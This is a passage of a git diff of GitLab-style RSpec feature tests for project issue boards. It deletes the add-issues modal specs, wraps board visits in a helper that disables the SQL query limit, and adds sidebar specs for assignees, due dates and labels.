- page.within('.add-issues-modal') do
- find('.close').click
- end
-
- expect(page).not_to have_selector('.add-issues-modal')
- end
-
- it 'closes modal if cancel button clicked' do
- click_button('Add issues')
-
- page.within('.add-issues-modal') do
- click_button 'Cancel'
- end
-
- expect(page).not_to have_selector('.add-issues-modal')
- end
-
- it 'does not show tooltip on add issues button' do
- button = page.find('.filter-dropdown-container button', text: 'Add issues')
-
- expect(button[:title]).not_to eq("Please add a list to your board first")
- end
- end
-
- context 'issues list' do
- before do
- stub_feature_flags(add_issues_button: true)
- click_button('Add issues')
-
- wait_for_requests
- end
-
- it 'loads issues' do
- page.within('.add-issues-modal') do
- page.within('.gl-tabs') do
- expect(page).to have_content('2')
- end
-
- expect(page).to have_selector('.board-card', count: 2)
- end
- end
-
- it 'shows selected issues tab and empty state message' do
- page.within('.add-issues-modal') do
- click_link 'Selected issues'
-
- expect(page).not_to have_selector('.board-card')
- expect(page).to have_content("Go back to Open issues and select some issues to add to your board.")
- end
- end
-
- context 'list dropdown' do
- it 'resets after deleting list' do
- page.within('.add-issues-modal') do
- expect(find('.add-issues-footer')).to have_button(planning.title)
-
- click_button 'Cancel'
- end
-
- page.within(find('.board:nth-child(2)')) do
- find('button[title="List settings"]').click
- end
-
- page.within(find('.js-board-settings-sidebar')) do
- accept_confirm { find('[data-testid="remove-list"]').click }
- end
-
- click_button('Add issues')
-
- wait_for_requests
-
- page.within('.add-issues-modal') do
- expect(find('.add-issues-footer')).not_to have_button(planning.title)
- expect(find('.add-issues-footer')).to have_button(label.title)
- end
- end
- end
-
- context 'search' do
- it 'returns issues' do
- page.within('.add-issues-modal') do
- find('.form-control').native.send_keys(issue.title)
- find('.form-control').native.send_keys(:enter)
-
- wait_for_requests
-
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
-
- it 'returns no issues' do
- page.within('.add-issues-modal') do
- find('.form-control').native.send_keys('testing search')
- find('.form-control').native.send_keys(:enter)
-
- wait_for_requests
-
- expect(page).not_to have_selector('.board-card')
- expect(page).not_to have_content("You haven't added any issues to your project yet")
- end
- end
- end
-
- context 'selecting issues' do
- it 'selects single issue' do
- page.within('.add-issues-modal') do
- first('.board-card .board-card-number').click
-
- page.within('.gl-tabs') do
- expect(page).to have_content('Selected issues 1')
- end
- end
- end
-
- it 'changes button text' do
- page.within('.add-issues-modal') do
- first('.board-card .board-card-number').click
-
- expect(first('.add-issues-footer .btn')).to have_content('Add 1 issue')
- end
- end
-
- it 'changes button text with plural' do
- page.within('.add-issues-modal') do
- all('.board-card .js-board-card-number-container').each do |el|
- el.click
- end
-
- expect(first('.add-issues-footer .btn')).to have_content('Add 2 issues')
- end
- end
-
- it 'shows only selected issues on selected tab' do
- page.within('.add-issues-modal') do
- first('.board-card .board-card-number').click
-
- click_link 'Selected issues'
-
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
-
- it 'selects all issues' do
- page.within('.add-issues-modal') do
- click_button 'Select all'
-
- expect(page).to have_selector('.is-active', count: 2)
- end
- end
-
- it 'deselects all issues' do
- page.within('.add-issues-modal') do
- click_button 'Select all'
-
- expect(page).to have_selector('.is-active', count: 2)
-
- click_button 'Deselect all'
-
- expect(page).not_to have_selector('.is-active')
- end
- end
-
- it "selects all that aren't already selected" do
- page.within('.add-issues-modal') do
- first('.board-card .board-card-number').click
-
- expect(page).to have_selector('.is-active', count: 1)
-
- click_button 'Select all'
-
- expect(page).to have_selector('.is-active', count: 2)
- end
- end
-
- it 'unselects from selected tab' do
- page.within('.add-issues-modal') do
- first('.board-card .board-card-number').click
-
- click_link 'Selected issues'
-
- first('.board-card .board-card-number').click
-
- expect(page).not_to have_selector('.is-active')
- end
- end
- end
-
- context 'adding issues' do
- it 'adds to board' do
- page.within('.add-issues-modal') do
- first('.board-card .board-card-number').click
-
- click_button 'Add 1 issue'
- end
-
- page.within(find('.board:nth-child(2)')) do
- expect(page).to have_selector('.board-card')
- end
- end
-
- it 'adds to second list' do
- page.within('.add-issues-modal') do
- first('.board-card .board-card-number').click
-
- click_button planning.title
-
- click_link label.title
-
- click_button 'Add 1 issue'
- end
-
- page.within(find('.board:nth-child(3)')) do
- expect(page).to have_selector('.board-card')
- end
- end
- end
- end
-end
diff --git a/spec/features/boards/boards_spec.rb b/spec/features/boards/boards_spec.rb
index 2392f9d2f8a..ab544022bff 100644
--- a/spec/features/boards/boards_spec.rb
+++ b/spec/features/boards/boards_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Issue Boards', :js do
+RSpec.describe 'Project issue boards', :js do
include DragTo
include MobileHelpers
@@ -23,7 +23,7 @@ RSpec.describe 'Issue Boards', :js do
context 'no lists' do
before do
- visit project_board_path(project, board)
+ visit_project_board_path_without_query_limit(project, board)
end
it 'creates default lists' do
@@ -52,6 +52,7 @@ RSpec.describe 'Issue Boards', :js do
let_it_be(:a_plus) { create(:label, project: project, name: 'A+') }
let_it_be(:list1) { create(:list, board: board, label: planning, position: 0) }
let_it_be(:list2) { create(:list, board: board, label: development, position: 1) }
+ let_it_be(:backlog_list) { create(:backlog_list, board: board) }
let_it_be(:confidential_issue) { create(:labeled_issue, :confidential, project: project, author: user, labels: [planning], relative_position: 9) }
let_it_be(:issue1) { create(:labeled_issue, project: project, title: 'aaa', description: '111', assignees: [user], labels: [planning], relative_position: 8) }
@@ -68,7 +69,7 @@ RSpec.describe 'Issue Boards', :js do
before do
stub_feature_flags(board_new_list: false)
- visit project_board_path(project, board)
+ visit_project_board_path_without_query_limit(project, board)
wait_for_requests
@@ -121,7 +122,8 @@ RSpec.describe 'Issue Boards', :js do
context 'with the NOT queries feature flag disabled' do
before do
stub_feature_flags(not_issuable_queries: false)
- visit project_board_path(project, board)
+
+ visit_project_board_path_without_query_limit(project, board)
end
it 'does not have the != option' do
@@ -141,7 +143,8 @@ RSpec.describe 'Issue Boards', :js do
context 'with the NOT queries feature flag enabled' do
before do
stub_feature_flags(not_issuable_queries: true)
- visit project_board_path(project, board)
+
+ visit_project_board_path_without_query_limit(project, board)
end
it 'does not have the != option' do
@@ -171,8 +174,7 @@ RSpec.describe 'Issue Boards', :js do
it 'infinite scrolls list' do
create_list(:labeled_issue, 50, project: project, labels: [planning])
- visit project_board_path(project, board)
- wait_for_requests
+ visit_project_board_path_without_query_limit(project, board)
page.within(find('.board:nth-child(2)')) do
expect(page.find('.board-header')).to have_content('58')
@@ -180,15 +182,19 @@ RSpec.describe 'Issue Boards', :js do
expect(page).to have_content('Showing 20 of 58 issues')
find('.board .board-list')
- evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
- wait_for_requests
+
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+ end
expect(page).to have_selector('.board-card', count: 40)
expect(page).to have_content('Showing 40 of 58 issues')
find('.board .board-list')
- evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
- wait_for_requests
+
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+ end
expect(page).to have_selector('.board-card', count: 58)
expect(page).to have_content('Showing all issues')
@@ -236,13 +242,13 @@ RSpec.describe 'Issue Boards', :js do
wait_for_board_cards(4, 1)
expect(find('.board:nth-child(2)')).to have_content(development.title)
- expect(find('.board:nth-child(2)')).to have_content(planning.title)
+ expect(find('.board:nth-child(3)')).to have_content(planning.title)
# Make sure list positions are preserved after a reload
- visit project_board_path(project, board)
+ visit_project_board_path_without_query_limit(project, board)
expect(find('.board:nth-child(2)')).to have_content(development.title)
- expect(find('.board:nth-child(2)')).to have_content(planning.title)
+ expect(find('.board:nth-child(3)')).to have_content(planning.title)
end
it 'dragging does not duplicate list' do
@@ -254,7 +260,8 @@ RSpec.describe 'Issue Boards', :js do
expect(page).to have_selector(selector, text: development.title, count: 1)
end
- it 'issue moves between lists and does not show the "Development" label since the card is in the "Development" list label' do
+ # TODO https://gitlab.com/gitlab-org/gitlab/-/issues/323551
+ xit 'issue moves between lists and does not show the "Development" label since the card is in the "Development" list label' do
drag(list_from_index: 1, from_index: 1, list_to_index: 2)
wait_for_board_cards(2, 7)
@@ -467,14 +474,16 @@ RSpec.describe 'Issue Boards', :js do
end
it 'removes filtered labels' do
- set_filter("label", testing.title)
- click_filter_link(testing.title)
- submit_filter
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ set_filter("label", testing.title)
+ click_filter_link(testing.title)
+ submit_filter
- wait_for_board_cards(2, 1)
+ wait_for_board_cards(2, 1)
- find('.clear-search').click
- submit_filter
+ find('.clear-search').click
+ submit_filter
+ end
wait_for_board_cards(2, 8)
end
@@ -484,7 +493,9 @@ RSpec.describe 'Issue Boards', :js do
set_filter("label", testing.title)
click_filter_link(testing.title)
- submit_filter
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ submit_filter
+ end
wait_for_requests
@@ -494,13 +505,18 @@ RSpec.describe 'Issue Boards', :js do
expect(page).to have_content('Showing 20 of 51 issues')
find('.board .board-list')
- evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+ end
expect(page).to have_selector('.board-card', count: 40)
expect(page).to have_content('Showing 40 of 51 issues')
find('.board .board-list')
- evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+ end
expect(page).to have_selector('.board-card', count: 51)
expect(page).to have_content('Showing all issues')
@@ -569,7 +585,7 @@ RSpec.describe 'Issue Boards', :js do
context 'keyboard shortcuts' do
before do
- visit project_board_path(project, board)
+ visit_project_board_path_without_query_limit(project, board)
wait_for_requests
end
@@ -617,15 +633,19 @@ RSpec.describe 'Issue Boards', :js do
def drag(selector: '.board-list', list_from_index: 0, from_index: 0, to_index: 0, list_to_index: 0, perform_drop: true)
# ensure there is enough horizontal space for four boards
- resize_window(2000, 800)
-
- drag_to(selector: selector,
- scrollable: '#board-app',
- list_from_index: list_from_index,
- from_index: from_index,
- to_index: to_index,
- list_to_index: list_to_index,
- perform_drop: perform_drop)
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ resize_window(2000, 800)
+
+ drag_to(selector: selector,
+ scrollable: '#board-app',
+ list_from_index: list_from_index,
+ from_index: from_index,
+ to_index: to_index,
+ list_to_index: list_to_index,
+ perform_drop: perform_drop)
+ end
+
+ wait_for_requests
end
def wait_for_board_cards(board_number, expected_cards)
@@ -666,4 +686,10 @@ RSpec.describe 'Issue Boards', :js do
accept_confirm { find('[data-testid="remove-list"]').click }
end
end
+
+ def visit_project_board_path_without_query_limit(project, board)
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ visit project_board_path(project, board)
+ end
+ end
end
diff --git a/spec/features/boards/focus_mode_spec.rb b/spec/features/boards/focus_mode_spec.rb
index b1684ad69a6..2bd1e625236 100644
--- a/spec/features/boards/focus_mode_spec.rb
+++ b/spec/features/boards/focus_mode_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe 'Issue Boards focus mode', :js do
wait_for_requests
end
- it 'shows focus mode button to guest users' do
- expect(page).to have_selector('.board-extra-actions .js-focus-mode-btn')
+ it 'shows focus mode button to anonymous users' do
+ expect(page).to have_selector('.js-focus-mode-btn')
end
end
diff --git a/spec/features/boards/modal_filter_spec.rb b/spec/features/boards/modal_filter_spec.rb
deleted file mode 100644
index 5aeb9eb5e50..00000000000
--- a/spec/features/boards/modal_filter_spec.rb
+++ /dev/null
@@ -1,228 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Issue Boards add issue modal filtering', :js do
- let(:project) { create(:project, :public) }
- let(:board) { create(:board, project: project) }
- let(:planning) { create(:label, project: project, name: 'Planning') }
- let!(:list1) { create(:list, board: board, label: planning, position: 0) }
- let(:user) { create(:user) }
- let(:user2) { create(:user) }
- let!(:issue1) { create(:issue, project: project) }
-
- before do
- project.add_maintainer(user)
-
- sign_in(user)
- end
-
- it 'shows empty state when no results found' do
- visit_board
-
- page.within('.add-issues-modal') do
- find('.form-control').native.send_keys('testing empty state')
- find('.form-control').native.send_keys(:enter)
-
- wait_for_requests
-
- expect(page).to have_content('There are no issues to show.')
- end
- end
-
- it 'restores filters when closing' do
- visit_board
-
- set_filter('milestone')
- click_filter_link('Upcoming')
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.board-card', count: 0)
-
- click_button 'Cancel'
- end
-
- click_button('Add issues')
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
-
- it 'resotres filters after clicking clear button' do
- visit_board
-
- set_filter('milestone')
- click_filter_link('Upcoming')
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.board-card', count: 0)
-
- find('.clear-search').click
-
- wait_for_requests
-
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
-
- context 'author' do
- let!(:issue) { create(:issue, project: project, author: user2) }
-
- before do
- project.add_developer(user2)
-
- visit_board
- end
-
- it 'filters by selected user' do
- set_filter('author')
- click_filter_link(user2.name)
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.js-visual-token', text: user2.name)
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
- end
-
- context 'assignee' do
- let!(:issue) { create(:issue, project: project, assignees: [user2]) }
-
- before do
- project.add_developer(user2)
-
- visit_board
- end
-
- it 'filters by unassigned' do
- set_filter('assignee')
- click_filter_link('None')
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.js-visual-token', text: 'None')
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
-
- it 'filters by selected user' do
- set_filter('assignee')
- click_filter_link(user2.name)
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.js-visual-token', text: user2.name)
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
- end
-
- context 'milestone' do
- let(:milestone) { create(:milestone, project: project) }
- let!(:issue) { create(:issue, project: project, milestone: milestone) }
-
- before do
- visit_board
- end
-
- it 'filters by upcoming milestone' do
- set_filter('milestone')
- click_filter_link('Upcoming')
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.js-visual-token', text: 'Upcoming')
- expect(page).to have_selector('.board-card', count: 0)
- end
- end
-
- it 'filters by selected milestone' do
- set_filter('milestone')
- click_filter_link(milestone.name)
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.js-visual-token', text: milestone.name)
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
- end
-
- context 'label' do
- let(:label) { create(:label, project: project) }
- let!(:issue) { create(:labeled_issue, project: project, labels: [label]) }
-
- before do
- visit_board
- end
-
- it 'filters by no label' do
- set_filter('label')
- click_filter_link('None')
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.js-visual-token', text: 'None')
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
-
- it 'filters by label' do
- set_filter('label')
- click_filter_link(label.title)
- submit_filter
-
- page.within('.add-issues-modal') do
- wait_for_requests
-
- expect(page).to have_selector('.js-visual-token', text: label.title)
- expect(page).to have_selector('.board-card', count: 1)
- end
- end
- end
-
- def visit_board
- visit project_board_path(project, board)
- wait_for_requests
-
- click_button('Add issues')
- end
-
- def set_filter(type, text = '')
- find('.add-issues-modal .filtered-search').native.send_keys("#{type}:=#{text}")
- end
-
- def submit_filter
- find('.add-issues-modal .filtered-search').native.send_keys(:enter)
- end
-
- def click_filter_link(link_text)
- page.within('.add-issues-modal .filtered-search-box') do
- expect(page).to have_button(link_text)
-
- click_button(link_text)
- end
- end
-end
diff --git a/spec/features/boards/multi_select_spec.rb b/spec/features/boards/multi_select_spec.rb
index 162455f75e6..ca322355b8f 100644
--- a/spec/features/boards/multi_select_spec.rb
+++ b/spec/features/boards/multi_select_spec.rb
@@ -41,6 +41,10 @@ RSpec.describe 'Multi Select Issue', :js do
before do
project.add_maintainer(user)
+ # multi-drag disabled with feature flag for now
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/289797
+ stub_feature_flags(graphql_board_lists: false)
+
sign_in(user)
end
diff --git a/spec/features/boards/multiple_boards_spec.rb b/spec/features/boards/multiple_boards_spec.rb
index 2894d5c7666..219f24f60d7 100644
--- a/spec/features/boards/multiple_boards_spec.rb
+++ b/spec/features/boards/multiple_boards_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Multiple Issue Boards', :js do
let_it_be(:planning) { create(:label, project: project, name: 'Planning') }
let_it_be(:board) { create(:board, name: 'board1', project: project) }
let_it_be(:board2) { create(:board, name: 'board2', project: project) }
+
let(:parent) { project }
let(:boards_path) { project_boards_path(project) }
diff --git a/spec/features/boards/new_issue_spec.rb b/spec/features/boards/new_issue_spec.rb
index f434ea0c66f..20ae569322c 100644
--- a/spec/features/boards/new_issue_spec.rb
+++ b/spec/features/boards/new_issue_spec.rb
@@ -3,10 +3,12 @@
require 'spec_helper'
RSpec.describe 'Issue Boards new issue', :js do
- let(:project) { create(:project, :public) }
- let(:board) { create(:board, project: project) }
- let!(:list) { create(:list, board: board, position: 0) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:backlog_list) { create(:backlog_list, board: board) }
+ let_it_be(:label) { create(:label, project: project, name: 'Label 1') }
+ let_it_be(:list) { create(:list, board: board, label: label, position: 0) }
+ let_it_be(:user) { create(:user) }
context 'authorized user' do
before do
@@ -15,6 +17,7 @@ RSpec.describe 'Issue Boards new issue', :js do
sign_in(user)
visit project_board_path(project, board)
+
wait_for_requests
expect(page).to have_selector('.board', count: 3)
@@ -57,7 +60,7 @@ RSpec.describe 'Issue Boards new issue', :js do
page.within(first('.board-new-issue-form')) do
find('.form-control').set('bug')
- click_button 'Submit issue'
+ click_button 'Create issue'
end
wait_for_requests
@@ -70,23 +73,24 @@ RSpec.describe 'Issue Boards new issue', :js do
issue = project.issues.find_by_title('bug')
expect(page).to have_content(issue.to_reference)
- expect(page).to have_link(issue.title, href: issue_path(issue))
+ expect(page).to have_link(issue.title, href: /#{issue_path(issue)}/)
end
end
- it 'shows sidebar when creating new issue' do
+ # TODO https://gitlab.com/gitlab-org/gitlab/-/issues/323446
+ xit 'shows sidebar when creating new issue' do
page.within(first('.board')) do
find('.issue-count-badge-add-button').click
end
page.within(first('.board-new-issue-form')) do
find('.form-control').set('bug')
- click_button 'Submit issue'
+ click_button 'Create issue'
end
wait_for_requests
- expect(page).to have_selector('.issue-boards-sidebar')
+ expect(page).to have_selector('[data-testid="issue-boards-sidebar"]')
end
it 'successfuly loads labels to be added to newly created issue' do
@@ -96,17 +100,21 @@ RSpec.describe 'Issue Boards new issue', :js do
page.within(first('.board-new-issue-form')) do
find('.form-control').set('new issue')
- click_button 'Submit issue'
+ click_button 'Create issue'
end
wait_for_requests
- page.within(first('.issue-boards-sidebar')) do
- find('.labels .edit-link').click
+ page.within(first('.board')) do
+ find('.board-card').click
+ end
+
+ page.within(first('[data-testid="issue-boards-sidebar"]')) do
+ find('.labels [data-testid="edit-button"]').click
wait_for_requests
- expect(page).to have_selector('.labels .dropdown-content li a')
+ expect(page).to have_selector('.labels-select-contents-list .dropdown-content li a')
end
end
end
diff --git a/spec/features/boards/reload_boards_on_browser_back_spec.rb b/spec/features/boards/reload_boards_on_browser_back_spec.rb
index 181cbcc9811..36682036d48 100644
--- a/spec/features/boards/reload_boards_on_browser_back_spec.rb
+++ b/spec/features/boards/reload_boards_on_browser_back_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe 'Ensure Boards do not show stale data on browser back', :js do
fill_in 'issue_title', with: 'issue should be shown'
- click_button 'Submit issue'
+ click_button 'Create issue'
page.go_back
wait_for_requests
@@ -43,7 +43,7 @@ RSpec.describe 'Ensure Boards do not show stale data on browser back', :js do
issue = project.issues.find_by_title('issue should be shown')
expect(page).to have_content(issue.to_reference)
- expect(page).to have_link(issue.title, href: issue_path(issue))
+ expect(page).to have_link(issue.title, href: /#{issue_path(issue)}/)
end
end
end
diff --git a/spec/features/boards/sidebar_assignee_spec.rb b/spec/features/boards/sidebar_assignee_spec.rb
new file mode 100644
index 00000000000..e938612163f
--- /dev/null
+++ b/spec/features/boards/sidebar_assignee_spec.rb
@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Project issue boards sidebar assignee', :js do
+ include BoardHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:development) { create(:label, project: project, name: 'Development') }
+ let_it_be(:regression) { create(:label, project: project, name: 'Regression') }
+ let_it_be(:stretch) { create(:label, project: project, name: 'Stretch') }
+
+ let!(:issue1) { create(:labeled_issue, project: project, assignees: [user], labels: [development], relative_position: 2) }
+ let!(:issue2) { create(:labeled_issue, project: project, labels: [development, stretch], relative_position: 1) }
+ let(:board) { create(:board, project: project) }
+ let!(:list) { create(:list, board: board, label: development, position: 0) }
+ let(:card) { find('.board:nth-child(2)').first('.board-card') }
+
+ before do
+ project.add_maintainer(user)
+
+ sign_in(user)
+
+ visit project_board_path(project, board)
+ wait_for_requests
+ end
+
+ context 'assignee' do
+ it 'updates the issues assignee' do
+ click_card(card)
+
+ page.within('.assignee') do
+ click_button('Edit')
+
+ wait_for_requests
+
+ assignee = first('.gl-avatar-labeled').find('.gl-avatar-labeled-label').text
+
+ page.within('.dropdown-menu-user') do
+ first('.gl-avatar-labeled').click
+ end
+
+ click_button('Apply')
+ wait_for_requests
+
+ expect(page).to have_content(assignee)
+ end
+
+ expect(card).to have_selector('.avatar')
+ end
+
+ it 'removes the assignee' do
+ card_two = find('.board:nth-child(2)').find('.board-card:nth-child(2)')
+ click_card(card_two)
+
+ page.within('.assignee') do
+ click_button('Edit')
+
+ wait_for_requests
+
+ page.within('.dropdown-menu-user') do
+ find('[data-testid="unassign"]').click
+ end
+
+ click_button('Apply')
+ wait_for_requests
+
+ expect(page).to have_content('None')
+ end
+
+ expect(card_two).not_to have_selector('.avatar')
+ end
+
+ it 'assignees to current user' do
+ click_card(card)
+
+ page.within(find('.assignee')) do
+ expect(page).to have_content('None')
+
+ click_button 'assign yourself'
+
+ wait_for_requests
+
+ expect(page).to have_content(user.name)
+ end
+
+ expect(card).to have_selector('.avatar')
+ end
+
+ it 'updates assignee dropdown' do
+ click_card(card)
+
+ page.within('.assignee') do
+ click_button('Edit')
+
+ wait_for_requests
+
+ assignee = first('.gl-avatar-labeled').find('.gl-avatar-labeled-label').text
+
+ page.within('.dropdown-menu-user') do
+ first('.gl-avatar-labeled').click
+ end
+
+ click_button('Apply')
+ wait_for_requests
+
+ expect(page).to have_content(assignee)
+ end
+
+ page.within(find('.board:nth-child(2)')) do
+ find('.board-card:nth-child(2)').click
+ end
+
+ page.within('.assignee') do
+ click_button('Edit')
+
+ expect(find('.dropdown-menu')).to have_selector('.gl-new-dropdown-item-check-icon')
+ end
+ end
+ end
+end
diff --git a/spec/features/boards/sidebar_due_date_spec.rb b/spec/features/boards/sidebar_due_date_spec.rb
new file mode 100644
index 00000000000..141c574ffec
--- /dev/null
+++ b/spec/features/boards/sidebar_due_date_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Project issue boards sidebar due date', :js do
+ include BoardHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:issue) { create(:issue, project: project, relative_position: 1) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:list) { create(:list, board: board, position: 0) }
+
+ let(:card) { find('.board:nth-child(1)').first('.board-card') }
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ before do
+ project.add_maintainer(user)
+
+ sign_in(user)
+
+ visit project_board_path(project, board)
+ wait_for_requests
+ end
+
+ context 'due date' do
+ it 'updates due date' do
+ click_card(card)
+
+ page.within('[data-testid="sidebar-due-date"]') do
+ today = Date.today.day
+
+ click_button 'Edit'
+
+ click_button today.to_s
+
+ wait_for_requests
+
+ expect(page).to have_content(today.to_s(:medium))
+ end
+ end
+ end
+end
diff --git a/spec/features/boards/sidebar_labels_spec.rb b/spec/features/boards/sidebar_labels_spec.rb
new file mode 100644
index 00000000000..2f0230c61d8
--- /dev/null
+++ b/spec/features/boards/sidebar_labels_spec.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Project issue boards sidebar labels', :js do
+ include BoardHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:development) { create(:label, project: project, name: 'Development') }
+ let_it_be(:bug) { create(:label, project: project, name: 'Bug') }
+ let_it_be(:regression) { create(:label, project: project, name: 'Regression') }
+ let_it_be(:stretch) { create(:label, project: project, name: 'Stretch') }
+ let_it_be(:issue1) { create(:labeled_issue, project: project, labels: [development], relative_position: 2) }
+ let_it_be(:issue2) { create(:labeled_issue, project: project, labels: [development, stretch], relative_position: 1) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:list) { create(:list, board: board, label: development, position: 0) }
+
+ let(:card) { find('.board:nth-child(2)').first('.board-card') }
+
+ before do
+ project.add_maintainer(user)
+
+ sign_in(user)
+
+ visit project_board_path(project, board)
+ wait_for_requests
+ end
+
+ context 'labels' do
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/322725
+ xit 'shows current labels when editing' do
+ click_card(card)
+
+ page.within('.labels') do
+ click_link 'Edit'
+
+ wait_for_requests
+
+ page.within('.value') do
+ expect(page).to have_selector('.gl-label-text', count: 2)
+ expect(page).to have_content(development.title)
+ expect(page).to have_content(stretch.title)
+ end
+ end
+ end
+
+ it 'adds a single label' do
+ click_card(card)
+
+ page.within('.labels') do
+ click_button 'Edit'
+
+ wait_for_requests
+
+ click_link bug.title
+
+ find('[data-testid="close-icon"]').click
+
+ wait_for_requests
+
+ page.within('.value') do
+ expect(page).to have_selector('.gl-label-text', count: 3)
+ expect(page).to have_content(bug.title)
+ end
+ end
+
+ # 'Development' label does not show since the card is in a 'Development' list label
+ expect(card).to have_selector('.gl-label', count: 2)
+ expect(card).to have_content(bug.title)
+ end
+
+ it 'adds a multiple labels' do
+ click_card(card)
+
+ page.within('.labels') do
+ click_button 'Edit'
+
+ wait_for_requests
+
+ click_link bug.title
+
+ click_link regression.title
+
+ find('[data-testid="close-icon"]').click
+
+ wait_for_requests
+
+ page.within('.value') do
+ expect(page).to have_selector('.gl-label-text', count: 4)
+ expect(page).to have_content(bug.title)
+ expect(page).to have_content(regression.title)
+ end
+ end
+
+ # 'Development' label does not show since the card is in a 'Development' list label
+ expect(card).to have_selector('.gl-label', count: 3)
+ expect(card).to have_content(bug.title)
+ expect(card).to have_content(regression.title)
+ end
+
+ it 'removes a label' do
+ click_card(card)
+
+ page.within('.labels') do
+ click_button 'Edit'
+
+ wait_for_requests
+
+ click_link stretch.title
+
+ find('[data-testid="close-icon"]').click
+
+ wait_for_requests
+
+ page.within('.value') do
+ expect(page).to have_selector('.gl-label-text', count: 1)
+ expect(page).not_to have_content(stretch.title)
+ end
+ end
+
+ # 'Development' label does not show since the card is in a 'Development' list label
+ expect(card).to have_selector('.gl-label-text', count: 0)
+ expect(card).not_to have_content(stretch.title)
+ end
+
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/324290
+ xit 'creates project label' do
+ click_card(card)
+
+ page.within('.labels') do
+ click_link 'Edit'
+ wait_for_requests
+
+ click_link 'Create project label'
+ fill_in 'new_label_name', with: 'test label'
+ first('.suggest-colors-dropdown a').click
+ click_button 'Create'
+ wait_for_requests
+
+ expect(page).to have_link 'test label'
+ end
+ expect(page).to have_selector('.board', count: 3)
+ end
+
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/324290
+ xit 'creates project label and list' do
+ click_card(card)
+
+ page.within('.labels') do
+ click_link 'Edit'
+ wait_for_requests
+
+ click_link 'Create project label'
+ fill_in 'new_label_name', with: 'test label'
